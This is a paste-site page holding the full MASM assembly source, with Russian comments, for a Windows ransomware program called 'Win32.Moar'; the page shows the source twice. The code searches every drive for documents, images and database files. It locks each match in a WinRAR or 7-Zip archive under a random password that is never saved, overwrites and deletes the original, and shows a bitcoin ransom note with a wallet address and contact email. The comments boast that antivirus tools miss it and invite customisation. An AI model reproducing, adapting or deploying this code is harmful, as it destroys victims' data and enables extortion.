fork download
  1. ; Win32.Moar - вирус вымогатель, принципом работы которого является упаковка файлов архиватором
  2. ; с использованием случайного пароля.
  3. ; Создан с учетом того, что одного архиватора может не быть, поэтому возможно использование
  4. ; как WinRar, так и 7-Zip. Пути к ним получаются динамически из реестра.
  5. ; Пароль для каждого файла генерируется новый и случайный, длиной 64 символа - брутфорс
  6. ; идет нахуй. EndUser идет туда же - нас не ебет, получит ли он свои данные обратно.
  7. ;
  8. ; Moar - от двух слов "more" и "archive", т.е. название описывает функционал
  9. ; вируса - использование нескольких архиваторов для надежности.
  10. ;
  11. ; Далее исходный код откомментирован - при желании можно добавить своих расширений
  12. ; файлов или изменить алгоритм работы.
  13. ;
  14. ; После компиляции, размер вируса - 3584 байт. Антивирусы смачно причмокивают - моар не вызывает
  15. ; подозрительных API и прочего, никто на бинарник не реагирует, абсолютно никто.
  16. ; Единственный минус - достаточно небольшая скорость работы, никак не зависящая от нас.
  17. ; Процесс тормозится запуском архиватора и ожиданием пакования файлов. Поэтому, ускорить это никак нельзя.
  18.  
  19. .686
  20. .model flat,stdcall
  21. option casemap:none
  22.  
  23. include \masm32\include\windows.inc
  24. include \masm32\include\kernel32.inc
  25. include \masm32\include\user32.inc
  26. include \masm32\include\shlwapi.inc
  27. include \masm32\include\shell32.inc
  28. include \masm32\include\advapi32.inc
  29. includelib \masm32\lib\kernel32.lib
  30. includelib \masm32\lib\user32.lib
  31. includelib \masm32\lib\shlwapi.lib
  32. includelib \masm32\lib\shell32.lib
  33. includelib \masm32\lib\advapi32.lib
  34.  
  35. GetPackerPath PROTO :DWORD, :DWORD, :DWORD, :DWORD
  36. BUFFER_SIZE equ 100000h
  37. BufLen equ 4096
  38. WINRAR_PACK equ 1
  39. SEVENZIP_PACK equ 2
  40.  
  41. .data
  42. TypeOfPacker db 0
  43. ; Данные для получения пути к архиватору WinRar.
  44. WinrarReg1 db 'WinRAR\shell\open\command',0
  45. WinrarReg2 db 0
  46. WinrarReg3 db 'rar.exe',0
  47. WinrarMask db 'a -hp%s "%s" "%s"',0
  48. WinrarExt db '.rar',0
  49. ; Данные для получения пути к архиватору 7-Zip.
  50. SevenZipReg1 db 'Applications\7zFM.exe\shell\open\command',0
  51. SevenZipReg2 db 0
  52. SevenZipReg3 db '7z.exe',0
  53. SevenZipMask db 'a -p%s "%s" "%s"',0
  54. SevenZipExt db '.7z',0
  55. ; Две строки - для пропуска этих директорий при поиске файлов.
  56. fake1 db '.',0
  57. fake2 db '..',0
  58. ; Строковая подпись вируса - она добавляется к именам создаваемых архивов.
  59. VirSign db '_MOAR_',0
  60.  
  61. ; Количество масок(расширений) файлов, которые обрабатываются.
  62. ; При добавлении своих расширений, соответственно увеличивать.
  63. EXTENSION_COUNT dd 4
  64. ; Сами расширения, вернее маски для поиска. Допустимо использование wildcard'ов.
  65. lbl1 db '*.lnk',0
  66. db '*.bmp',0
  67. db '*.jpg',0
  68. db '*.jpeg',0
  69. db '*.docx',0
  70. db '*.docm',0
  71. db '*.doc',0
  72. db '*.xlsx',0
  73. db '*.xls',0
  74. db '*.xlsm',0
  75. db '*.1CD',0
  76. db '*.dbf',0
  77. ; Сообщение, показываемое пользователю. Изменить на свой вкус.
  78. UserMessage db 'Внимание! Все Ваши файлы были зашифрованы и помещены в архив с паролем. Оригиналы файлов были удалены.',13,10
  79. db 'Т.е. вы больше не имеете доступа к своим файлам.',13,10
  80. db 'Для того, чтобы получить пароль и расшифровать файлы, оплатите 100 долларов в биткоинах на этот кошелек:',13,10
  81. db '1FneovZD18CoBJSz4cGiJVDt5C32yWh2i6',13,10
  82. db 'Или этот же кошелек вы можете скопировать по ссылке: https://g...content-available-to-author-only...o.gl/j4XCL2',13,10
  83. db 'Оплатить биткоинами через банки: https://b...content-available-to-author-only...k.net',13,10
  84. db 'Пароль вы сможете получить после оплаты, написав на lohodf@mail.ru',0
  85.  
  86. .data?
  87. PackerPath db BufLen dup (?)
  88. SearchBuf db BufLen dup (?)
  89. FilePathBuf db BufLen dup (?)
  90. ArName db BufLen dup (?)
  91. TmpBuf db BufLen dup (?)
  92. GeneratedPassword db 65 dup (?)
  93. PackerPathPointer dd ?
  94. hmem dd ?
  95. sei SHELLEXECUTEINFO <>
  96.  
  97. .code
  98. start:
  99. ; Получаем путь к "rar.exe" - консольной утилите WinRar для архивирования файлов.
  100. invoke GetPackerPath, addr WinrarReg1, addr WinrarReg2, addr WinrarReg3, WINRAR_PACK
  101. test eax, eax
  102. jne getpath
  103. ; Если WinRar установлен и путь был получен - прыгаем и едем далее.
  104. ; В обратном же случае пытаемся получить путь к "7z.exe" - аналогичная консольная программа от 7-Zip.
  105. invoke GetPackerPath, addr SevenZipReg1, addr SevenZipReg2, addr SevenZipReg3, SEVENZIP_PACK
  106. test eax, eax
  107. jne getpath
  108. ; Если же и этой прораммы нет в системе - выходим, нам здесь делать нечего, система - унылое говно.
  109. jmp ohshit
  110. getpath:
  111. ; Выделяем память для вайпинга файлов. Так называется стирание файлов без возможности восстановления.
  112. ; Просто удалить файл - способ для криворуких, т.к. различные Лепрозории Касперского публикуют
  113. ; зиродей-методы для восстановления файлов.
  114. invoke GlobalAlloc, GPTR, BUFFER_SIZE
  115. .if (eax==0)
  116. jmp ohshit
  117. .endif
  118. mov hmem, eax
  119. ; Вызываем процедуру поиска и обработки файлов.
  120. call FileSearch
  121. ; Освобождаем память, выделенную под буфер для вайпинга.
  122. invoke GlobalFree, hmem
  123. ; Показываем пользователю сообщение о том, что он криворукий дебил - взял и запустил левый ЕХЕ.
  124. invoke MessageBox, 0, addr UserMessage, 0, 0
  125. ohshit:
  126. invoke ExitProcess, 0
  127.  
  128. ; Процедура получения пути к архиватору. В ней нет ничего сложного, no comments.
  129. GetPackerPath proc p1:DWORD, p2:DWORD, p3:DWORD, p4:DWORD
  130. LOCAL ValLen :DWORD
  131. LOCAL lpdwDisp :DWORD
  132. LOCAL hKey :DWORD
  133. invoke RegCreateKeyEx, HKEY_CLASSES_ROOT, p1, 0, 0, 0, KEY_READ, 0, addr hKey, addr lpdwDisp
  134. test eax, eax
  135. je @F
  136. xor eax, eax
  137. ret
  138. @@:
  139. mov dword ptr [ValLen], BufLen
  140. invoke RegQueryValueEx, hKey, p2, 0, 0, addr PackerPath, addr ValLen
  141. test eax, eax
  142. je @F
  143. xor eax, eax
  144. ret
  145. @@:
  146. invoke RegCloseKey, hKey
  147. ; Путь в реестре хранится в таком виде: "C:\Program Files\WinRAR\WinRAR.exe" "%1".
  148. ; Поэтому его нужно пропарсить.
  149. invoke lstrlen, addr PackerPath
  150. dec eax
  151. mov ecx, eax
  152. mov esi, offset PackerPath
  153. inc esi
  154. mov ebx, esi
  155. mov dword ptr [PackerPathPointer], ebx
  156. @@:
  157. lodsb
  158. cmp al, '"'
  159. je @F
  160. loop @B
  161. @@:
  162. mov byte ptr [esi-1], 0
  163. invoke PathFindFileName, ebx
  164. mov byte ptr [eax], 0
  165. invoke lstrcat, ebx, p3
  166. ; В переменную TypeOfPacker записывается значение - идентификатор используемого архиватора, четвертый параметр - p4
  167. ; Т.е если путь к винрару был удачно получен, пишем туда WINRAR_PACK, если к 7-Zip'y - SEVENZIP_PACK.
  168. mov eax, dword ptr [p4]
  169. mov byte ptr [TypeOfPacker], al
  170. mov eax, 1
  171. ret
  172. GetPackerPath endp
  173.  
  174. ; Процедура пакования файлов.
  175. PackFile proc
  176. ; Генерируем для архива пароль.
  177. call PwdGen
  178. invoke lstrcpy, addr ArName, addr FilePathBuf
  179. invoke PathFindExtension, addr ArName
  180. invoke lstrcat, addr ArName, addr VirSign
  181. mov al, byte ptr [TypeOfPacker]
  182. cmp al, WINRAR_PACK
  183. jne @F
  184. invoke lstrcat, addr ArName, addr WinrarExt
  185. invoke wsprintf, addr TmpBuf, addr WinrarMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
  186. jmp done_2
  187. @@:
  188. invoke lstrcat, addr ArName, addr SevenZipExt
  189. invoke wsprintf, addr TmpBuf, addr SevenZipMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
  190. done_2:
  191. invoke RtlZeroMemory, addr sei, sizeof sei
  192. ; Заполняем структуру SHELLEXECUTEINFO и запускаем rar.exe с парамтером командной строки,
  193. ; в котором хранится путь к файлу для шифрования, путь к выходящему файлу и параметры упаковки.
  194. mov sei.cbSize, sizeof sei
  195. mov sei.fMask, SEE_MASK_NOCLOSEPROCESS
  196. mov sei.nShow, SW_HIDE
  197. mov eax, dword ptr [PackerPathPointer]
  198. mov sei.lpFile, eax
  199. mov sei.lpParameters, offset TmpBuf
  200. invoke ShellExecuteEx, addr sei
  201. test eax, eax
  202. jne run_good
  203. ; Если запуск апроцеса архивации неудался, выходим.
  204. ret
  205. run_good:
  206. ; Ждем завершения паковки.
  207. invoke WaitForSingleObject, sei.hProcess, INFINITE
  208. invoke CloseHandle, sei.hProcess
  209. ; Стираем файл без возможности воссановления.
  210. call WipeFile
  211. ret
  212. PackFile endp
  213.  
  214. ; Рекурсивная процедура поиска файлов, автор - Ct757.
  215. find_files proc
  216. push ebp
  217. mov ebp,esp
  218. sub esp,144h
  219. lea eax,[ebp-144h]
  220. invoke FindFirstFile,offset SearchBuf,eax
  221. inc eax
  222. je exit
  223. dec eax
  224. mov dword ptr [ebp-6h],eax
  225. find_next:
  226. mov eax,dword ptr [ebp-144h]
  227. and eax,FILE_ATTRIBUTE_DIRECTORY
  228. je found
  229. lea eax,[ebp-118h]
  230. invoke lstrcmp,offset fake1,eax
  231. test eax,eax
  232. je next
  233. lea eax,[ebp-118h]
  234. invoke lstrcmp,offset fake2,eax
  235. test eax,eax
  236. je next
  237. invoke lstrlen,offset SearchBuf
  238. sub eax,3
  239. push eax
  240. mov byte ptr [SearchBuf+eax],0
  241. lea eax,[ebp-118h]
  242. invoke lstrcat,offset SearchBuf,eax
  243. invoke lstrlen,offset SearchBuf
  244. mov dword ptr [SearchBuf+eax],'*.*\'
  245. mov byte ptr [SearchBuf+eax+4],0
  246. call find_files
  247. pop eax
  248. mov dword ptr [SearchBuf+eax-1],'*.*\'
  249. mov byte ptr [SearchBuf+eax+3],0
  250. jmp next
  251. found:
  252. lea ebx,[ebp-118h]
  253. ; Проверяем, подходит ли найденный файл нам - сверяем с расширениями.
  254. mov ecx, dword ptr [EXTENSION_COUNT]
  255. mov esi, offset lbl1
  256. @@:
  257. push ecx
  258. invoke PathMatchSpec, ebx, esi
  259. test eax, eax
  260. jne @F
  261. invoke lstrlen, esi
  262. add esi, eax
  263. inc esi
  264. pop ecx
  265. loop @B
  266. ; Если нет - ищем следующий.
  267. jmp next
  268. @@:
  269. ; Создаем полный путь к найденому файлу.
  270. invoke lstrcpy, addr FilePathBuf, addr SearchBuf
  271. invoke PathFindFileName, addr FilePathBuf
  272. mov byte ptr [eax], 0
  273. lea eax,[ebp-118h]
  274. invoke lstrcat, addr FilePathBuf, eax
  275. ; Вызываем процедуру паковки файлов.
  276. call PackFile
  277. next:
  278. lea eax,[ebp-144h]
  279. invoke FindNextFile,dword ptr [ebp-6h],eax
  280. test eax,eax
  281. jne find_next
  282. invoke FindClose,dword ptr [ebp-6h]
  283. exit:
  284. leave
  285. ret
  286. find_files endp
  287.  
  288. ; Процедура, вызывающая поиск файлов по дискам. Т.е. она перечисляет доступные диски
  289. ; и вызывает для каждого из них find_files.
  290. FileSearch proc
  291. invoke SetErrorMode,SEM_FAILCRITICALERRORS
  292. invoke GetLogicalDrives
  293. mov ecx,25
  294. find_drives:
  295. mov ebx,1
  296. shl ebx,cl
  297. and ebx,eax
  298. je no_disk
  299. add cl,65
  300. mov byte ptr SearchBuf,cl
  301. sub cl,65
  302. mov dword ptr SearchBuf+1,'.*\:'
  303. mov byte ptr SearchBuf+5,'*'
  304. mov byte ptr SearchBuf+6,0
  305. push eax
  306. push ecx
  307. call find_files
  308. pop ecx
  309. pop eax
  310. no_disk:
  311. dec ecx
  312. jge find_drives
  313. ret
  314. FileSearch endp
  315.  
  316. ; Тут происходит генерация пароля для архива.
  317. ; Для получения случайных чисел в нужном диапазоне, вызываем GetRandom.
  318. PwdGen proc
  319. lea edi, GeneratedPassword
  320. mov ecx, 64
  321. @@:
  322. call GetRandom
  323. stosb
  324. loop @B
  325. ret
  326. PwdGen endp
  327.  
  328. ; Получаем случайное число в диапазоне [ 41h..5Ah ].
  329. GetRandom proc
  330. push edx
  331. push ecx
  332. mov ecx,5Ah
  333. sub ecx,41h
  334. inc ecx
  335. push edx
  336. push ecx
  337. db 0Fh, 31h
  338. xor eax,edx
  339. xor edx,edx
  340. mov ecx,127773
  341. div ecx
  342. mov ecx,eax
  343. mov eax,16807
  344. mul edx
  345. mov edx,ecx
  346. mov ecx,eax
  347. mov eax,2836
  348. mul edx
  349. sub ecx,eax
  350. xor edx,edx
  351. mov eax,ecx
  352. mov ecx,100000
  353. div ecx
  354. mov eax,edx
  355. pop ecx
  356. pop edx
  357. xor edx,edx
  358. div ecx
  359. mov eax,edx
  360. add eax,41h
  361. pop ecx
  362. pop edx
  363. ret
  364. GetRandom endp
  365.  
  366. ; Процедура вайпинга файлов.
  367. ; Для этого сначала файл перезаписывается нулями, затем укорачивается до нулевой длины и удаляется.
  368. ; Как показали эксперименты, после такого, программы восстановления файлов нервно курят в сторонке.
  369. WipeFile proc
  370. LOCAL h :DWORD
  371. LOCAL nw :DWORD
  372. LOCAL dmod :DWORD
  373. LOCAL towrite :DWORD
  374. invoke CreateFile, addr FilePathBuf, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL
  375. cmp eax, -1
  376. jne @F
  377. ret
  378. @@:
  379. mov h, eax
  380. invoke SetFilePointer, h, 0, NULL, FILE_BEGIN
  381. invoke GetFileSize, h, NULL
  382. cmp eax, BUFFER_SIZE
  383. jge @F
  384. mov ecx, 1
  385. mov dword ptr [towrite], eax
  386. mov dword ptr [dmod], 0
  387. jmp loop_wipe
  388. @@:
  389. xor edx, edx
  390. mov ebx, BUFFER_SIZE
  391. div ebx
  392. mov ecx, eax
  393. mov dword ptr [towrite], BUFFER_SIZE
  394. mov dword ptr [dmod], edx
  395. loop_wipe:
  396. push ecx
  397. invoke WriteFile, h, [hmem], [towrite], addr nw, NULL
  398. pop ecx
  399. loop loop_wipe
  400. mov eax, dword ptr [dmod]
  401. test eax, eax
  402. je bez_ostatka
  403. invoke WriteFile, h, [hmem], [dmod], addr nw, NULL
  404. bez_ostatka:
  405. invoke SetFilePointer, h, 0, NULL, FILE_BEGIN
  406. invoke SetEndOfFile, h
  407. invoke CloseHandle, h
  408. invoke DeleteFile, addr FilePathBuf
  409. ret
  410. WipeFile endp
  411.  
  412. end start
Success #stdin #stdout 0.03s 25496KB
stdin
Standard input is empty
stdout
; Win32.Moar - вирус вымогатель, принципом работы которого является упаковка файлов архиватором
; с использованием случайного пароля.
; Создан с учетом того, что одного архиватора может не быть, поэтому возможно использование 
; как WinRar, так и 7-Zip. Пути к ним получаются динамически из реестра.
; Пароль для каждого файла генерируется новый и случайный, длиной 64 символа - брутфорс
; идет нахуй. EndUser идет туда же - нас не ебет, получит ли он свои данные обратно.
;
; Moar - от двух слов "more" и "archive", т.е. название описывает функционал 
; вируса - использование нескольких архиваторов для надежности.
;
; Далее исходный код откомментирован - при желании можно добавить своих расширений
; файлов или изменить алгоритм работы.
;
; После компиляции, размер вируса - 3584 байт. Антивирусы смачно причмокивают - моар не вызывает 
; подозрительных API и прочего, никто на бинарник не реагирует, абсолютно никто.
; Единственный минус - достаточно небольшая скорость работы, никак не зависящая от нас. 
; Процесс тормозится запуском архиватора и ожиданием пакования файлов. Поэтому, ускорить это никак нельзя.

.686
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\shlwapi.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\shlwapi.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib

      GetPackerPath     PROTO  :DWORD, :DWORD, :DWORD, :DWORD
      BUFFER_SIZE       equ    100000h 
      BufLen            equ    4096
      WINRAR_PACK       equ    1
      SEVENZIP_PACK     equ    2

.data
      TypeOfPacker      db     0
; Данные для получения пути к архиватору WinRar.
      WinrarReg1        db     'WinRAR\shell\open\command',0
      WinrarReg2        db     0
      WinrarReg3        db     'rar.exe',0
      WinrarMask        db     'a -hp%s "%s" "%s"',0
      WinrarExt         db     '.rar',0
; Данные для получения пути к архиватору 7-Zip.
      SevenZipReg1      db     'Applications\7zFM.exe\shell\open\command',0
      SevenZipReg2      db     0
      SevenZipReg3      db     '7z.exe',0
      SevenZipMask      db     'a -p%s "%s" "%s"',0
      SevenZipExt       db     '.7z',0
; Две строки - для пропуска этих директорий при поиске файлов.
      fake1             db     '.',0
      fake2             db     '..',0
; Строковая подпись вируса - она добавляется к именам создаваемых архивов.
      VirSign           db     '_MOAR_',0
      
; Количество масок(расширений) файлов, которые обрабатываются. 
; При добавлении своих расширений, соответственно увеличивать.
      EXTENSION_COUNT   dd     4
; Сами расширения, вернее маски для поиска. Допустимо использование wildcard'ов.
      lbl1              db     '*.lnk',0
                        db     '*.bmp',0
                        db     '*.jpg',0
                        db     '*.jpeg',0
                        db     '*.docx',0
                        db     '*.docm',0
                        db     '*.doc',0
                        db     '*.xlsx',0
                        db     '*.xls',0
                        db     '*.xlsm',0
                        db     '*.1CD',0
                        db     '*.dbf',0
; Сообщение, показываемое пользователю. Изменить на свой вкус.
      UserMessage       db     'Внимание! Все Ваши файлы были зашифрованы и помещены в архив с паролем. Оригиналы файлов были удалены.',13,10
                        db     'Т.е. вы больше не имеете доступа к своим файлам.',13,10
                        db     'Для того, чтобы получить пароль и расшифровать файлы, оплатите 100 долларов в биткоинах на этот кошелек:',13,10
                        db     '1FneovZD18CoBJSz4cGiJVDt5C32yWh2i6',13,10
                        db     'Или этот же кошелек вы можете скопировать по ссылке: https://g...content-available-to-author-only...o.gl/j4XCL2',13,10
                        db     'Оплатить биткоинами через банки: https://b...content-available-to-author-only...k.net',13,10
                        db     'Пароль вы сможете получить после оплаты, написав на lohodf@mail.ru',0
      
.data?
      PackerPath        db     BufLen dup (?)
      SearchBuf         db     BufLen dup (?)
      FilePathBuf       db     BufLen dup (?)
      ArName            db     BufLen dup (?)
      TmpBuf            db     BufLen dup (?)
      GeneratedPassword db     65     dup (?)
      PackerPathPointer dd     ?
      hmem              dd     ?
      sei               SHELLEXECUTEINFO      <>

.code
start:
; Получаем путь к "rar.exe" - консольной утилите WinRar для архивирования файлов.
      invoke  GetPackerPath, addr WinrarReg1, addr WinrarReg2, addr WinrarReg3, WINRAR_PACK
      test    eax, eax
      jne     getpath
; Если WinRar установлен и путь был получен - прыгаем и едем далее.
; В обратном же случае пытаемся получить путь к "7z.exe" - аналогичная консольная программа от 7-Zip.
      invoke  GetPackerPath, addr SevenZipReg1, addr SevenZipReg2, addr SevenZipReg3, SEVENZIP_PACK
      test    eax, eax
      jne     getpath
; Если же и этой прораммы нет в системе - выходим, нам здесь делать нечего, система - унылое говно.
              jmp     ohshit
      getpath:
; Выделяем память для вайпинга файлов. Так называется стирание файлов без возможности восстановления.
; Просто удалить файл - способ для криворуких, т.к. различные Лепрозории Касперского публикуют 
; зиродей-методы для восстановления файлов.
      invoke  GlobalAlloc, GPTR, BUFFER_SIZE
      .if (eax==0)
              jmp     ohshit
      .endif
      mov     hmem, eax
; Вызываем процедуру поиска и обработки файлов.
      call    FileSearch
; Освобождаем память, выделенную под буфер для вайпинга.
      invoke  GlobalFree, hmem
; Показываем пользователю сообщение о том, что он криворукий дебил - взял и запустил левый ЕХЕ.
      invoke  MessageBox, 0, addr UserMessage, 0, 0
ohshit:
      invoke  ExitProcess, 0

; Процедура получения пути к архиватору. В ней нет ничего сложного, no comments.
GetPackerPath proc p1:DWORD, p2:DWORD, p3:DWORD, p4:DWORD
   LOCAL ValLen    :DWORD
   LOCAL lpdwDisp  :DWORD
   LOCAL hKey      :DWORD
      invoke  RegCreateKeyEx, HKEY_CLASSES_ROOT, p1, 0, 0, 0, KEY_READ, 0, addr hKey, addr lpdwDisp
      test    eax, eax
      je      @F
              xor     eax, eax
              ret
      @@:
      mov     dword ptr [ValLen], BufLen
      invoke  RegQueryValueEx, hKey, p2, 0, 0, addr PackerPath, addr ValLen
      test    eax, eax
      je      @F
              xor     eax, eax
              ret
      @@:
      invoke  RegCloseKey, hKey
; Путь в реестре хранится в таком виде: "C:\Program Files\WinRAR\WinRAR.exe" "%1".
; Поэтому его нужно пропарсить.
      invoke  lstrlen, addr PackerPath
      dec     eax
      mov     ecx, eax
      mov     esi, offset PackerPath
      inc     esi
      mov     ebx, esi
      mov     dword ptr [PackerPathPointer], ebx
      @@:
      lodsb
      cmp     al, '"'
      je      @F
      loop    @B
      @@:
      mov     byte ptr [esi-1], 0
      invoke  PathFindFileName, ebx
      mov     byte ptr [eax], 0
      invoke  lstrcat, ebx, p3
; В переменную TypeOfPacker записывается значение - идентификатор используемого архиватора, четвертый параметр - p4
; Т.е если путь к винрару был удачно получен, пишем туда WINRAR_PACK, если к 7-Zip'y - SEVENZIP_PACK.
      mov     eax, dword ptr [p4]
      mov     byte ptr [TypeOfPacker], al
      mov     eax, 1
      ret
GetPackerPath endp

; Процедура пакования файлов.
PackFile proc
; Генерируем для архива пароль.
      call    PwdGen
      invoke  lstrcpy, addr ArName, addr FilePathBuf
      invoke  PathFindExtension, addr ArName
      invoke  lstrcat, addr ArName, addr VirSign
      mov     al, byte ptr [TypeOfPacker]
      cmp     al, WINRAR_PACK
      jne     @F
              invoke  lstrcat, addr ArName, addr WinrarExt
              invoke  wsprintf, addr TmpBuf, addr WinrarMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
              jmp     done_2
      @@:
              invoke  lstrcat, addr ArName, addr SevenZipExt
              invoke  wsprintf, addr TmpBuf, addr SevenZipMask, addr GeneratedPassword, addr ArName, addr FilePathBuf
      done_2:
      invoke  RtlZeroMemory, addr sei, sizeof sei
; Заполняем структуру SHELLEXECUTEINFO и запускаем rar.exe с парамтером командной строки,
; в котором хранится путь к файлу для шифрования, путь к выходящему файлу и параметры упаковки.
      mov     sei.cbSize, sizeof sei
      mov     sei.fMask, SEE_MASK_NOCLOSEPROCESS
      mov     sei.nShow, SW_HIDE
      mov     eax, dword ptr [PackerPathPointer]
      mov     sei.lpFile, eax
      mov     sei.lpParameters, offset TmpBuf
      invoke  ShellExecuteEx, addr sei
      test    eax, eax
      jne     run_good
; Если запуск апроцеса архивации неудался, выходим.
              ret
      run_good:
; Ждем завершения паковки.
      invoke  WaitForSingleObject, sei.hProcess, INFINITE
      invoke  CloseHandle, sei.hProcess
; Стираем файл без возможности воссановления.
      call    WipeFile
      ret
PackFile endp

; Рекурсивная процедура поиска файлов, автор - Ct757.
find_files proc
      push    ebp
      mov     ebp,esp
      sub     esp,144h
      lea     eax,[ebp-144h]
      invoke  FindFirstFile,offset SearchBuf,eax
      inc     eax
      je      exit
      dec     eax
      mov     dword ptr [ebp-6h],eax
find_next:
      mov     eax,dword ptr [ebp-144h]
      and     eax,FILE_ATTRIBUTE_DIRECTORY
      je      found
      lea     eax,[ebp-118h]
      invoke  lstrcmp,offset fake1,eax
      test    eax,eax
      je      next
      lea     eax,[ebp-118h]
      invoke  lstrcmp,offset fake2,eax
      test    eax,eax
      je      next
      invoke  lstrlen,offset SearchBuf
      sub     eax,3
      push    eax
      mov     byte ptr [SearchBuf+eax],0
      lea     eax,[ebp-118h]
      invoke  lstrcat,offset SearchBuf,eax
      invoke  lstrlen,offset SearchBuf
      mov     dword ptr [SearchBuf+eax],'*.*\'
      mov     byte ptr [SearchBuf+eax+4],0
      call    find_files
      pop     eax
      mov     dword ptr [SearchBuf+eax-1],'*.*\'
      mov     byte ptr [SearchBuf+eax+3],0
      jmp     next
found:
      lea     ebx,[ebp-118h]
; Проверяем, подходит ли найденный файл нам - сверяем с расширениями.
      mov     ecx, dword ptr [EXTENSION_COUNT]
      mov     esi, offset lbl1
      @@:
      push    ecx
      invoke  PathMatchSpec, ebx, esi
      test    eax, eax
      jne     @F
      invoke  lstrlen, esi
      add     esi, eax
      inc     esi
      pop     ecx
      loop    @B
; Если нет - ищем следующий.
      jmp     next
      @@:
; Создаем полный путь к найденому файлу.
      invoke  lstrcpy, addr FilePathBuf, addr SearchBuf
      invoke  PathFindFileName, addr FilePathBuf
      mov     byte ptr [eax], 0
      lea     eax,[ebp-118h]
      invoke  lstrcat, addr FilePathBuf, eax
; Вызываем процедуру паковки файлов.
      call    PackFile
next:
      lea     eax,[ebp-144h]
      invoke  FindNextFile,dword ptr [ebp-6h],eax
      test    eax,eax
      jne     find_next
      invoke  FindClose,dword ptr [ebp-6h]
exit:
      leave
      ret
find_files endp

; Процедура, вызывающая поиск файлов по дискам. Т.е. она перечисляет доступные диски
; и вызывает для каждого из них find_files.
FileSearch proc
      invoke  SetErrorMode,SEM_FAILCRITICALERRORS
      invoke  GetLogicalDrives
      mov     ecx,25
find_drives:
      mov     ebx,1
      shl     ebx,cl
      and     ebx,eax
      je      no_disk
      add     cl,65
      mov     byte ptr SearchBuf,cl
      sub     cl,65
      mov     dword ptr SearchBuf+1,'.*\:'
      mov     byte ptr SearchBuf+5,'*'
      mov     byte ptr SearchBuf+6,0
      push    eax
      push    ecx
      call    find_files
      pop     ecx
      pop     eax
no_disk:
      dec     ecx
      jge     find_drives
      ret
FileSearch endp

; Тут происходит генерация пароля для архива. 
; Для получения случайных чисел в нужном диапазоне, вызываем GetRandom.
PwdGen proc
      lea     edi, GeneratedPassword
      mov     ecx, 64
      @@:
      call    GetRandom
      stosb
      loop    @B
      ret
PwdGen endp

; Получаем случайное число в диапазоне [ 41h..5Ah ].
GetRandom proc
      push    edx
      push    ecx
      mov     ecx,5Ah
      sub     ecx,41h
      inc     ecx
      push    edx
      push    ecx
      db      0Fh, 31h
      xor     eax,edx
      xor     edx,edx
      mov     ecx,127773
      div     ecx
      mov     ecx,eax
      mov     eax,16807
      mul     edx
      mov     edx,ecx
      mov     ecx,eax
      mov     eax,2836
      mul     edx
      sub     ecx,eax
      xor     edx,edx
      mov     eax,ecx
      mov     ecx,100000
      div     ecx
      mov     eax,edx
      pop     ecx
      pop     edx
      xor     edx,edx
      div     ecx
      mov     eax,edx
      add     eax,41h
      pop     ecx
      pop     edx
      ret
GetRandom endp

; Процедура вайпинга файлов.
; Для этого сначала файл перезаписывается нулями, затем укорачивается до нулевой длины и удаляется.
; Как показали эксперименты, после такого, программы восстановления файлов нервно курят в сторонке.
WipeFile proc
   LOCAL h       :DWORD
   LOCAL nw      :DWORD
   LOCAL dmod    :DWORD
   LOCAL towrite :DWORD
      invoke  CreateFile, addr FilePathBuf, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL
      cmp     eax, -1
      jne     @F
              ret
      @@:
      mov     h, eax
      invoke  SetFilePointer, h, 0, NULL, FILE_BEGIN
      invoke  GetFileSize, h, NULL
      cmp     eax, BUFFER_SIZE
      jge     @F
              mov ecx, 1
              mov dword ptr [towrite], eax
              mov dword ptr [dmod], 0
              jmp loop_wipe
      @@:
              xor edx, edx
              mov ebx, BUFFER_SIZE
              div ebx
              mov ecx, eax
              mov dword ptr [towrite], BUFFER_SIZE
              mov dword ptr [dmod], edx
      loop_wipe:
      push    ecx
      invoke  WriteFile, h, [hmem], [towrite], addr nw, NULL
      pop     ecx
      loop    loop_wipe
      mov     eax, dword ptr [dmod]
      test    eax, eax
      je      bez_ostatka
      invoke  WriteFile, h, [hmem], [dmod], addr nw, NULL
      bez_ostatka:
      invoke  SetFilePointer, h, 0, NULL, FILE_BEGIN
      invoke  SetEndOfFile, h
      invoke  CloseHandle, h
      invoke  DeleteFile, addr FilePathBuf
      ret
WipeFile endp

end start